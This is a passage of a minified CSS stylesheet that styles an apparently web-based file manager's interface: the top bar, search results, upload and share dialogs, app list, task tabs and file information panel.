.top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload 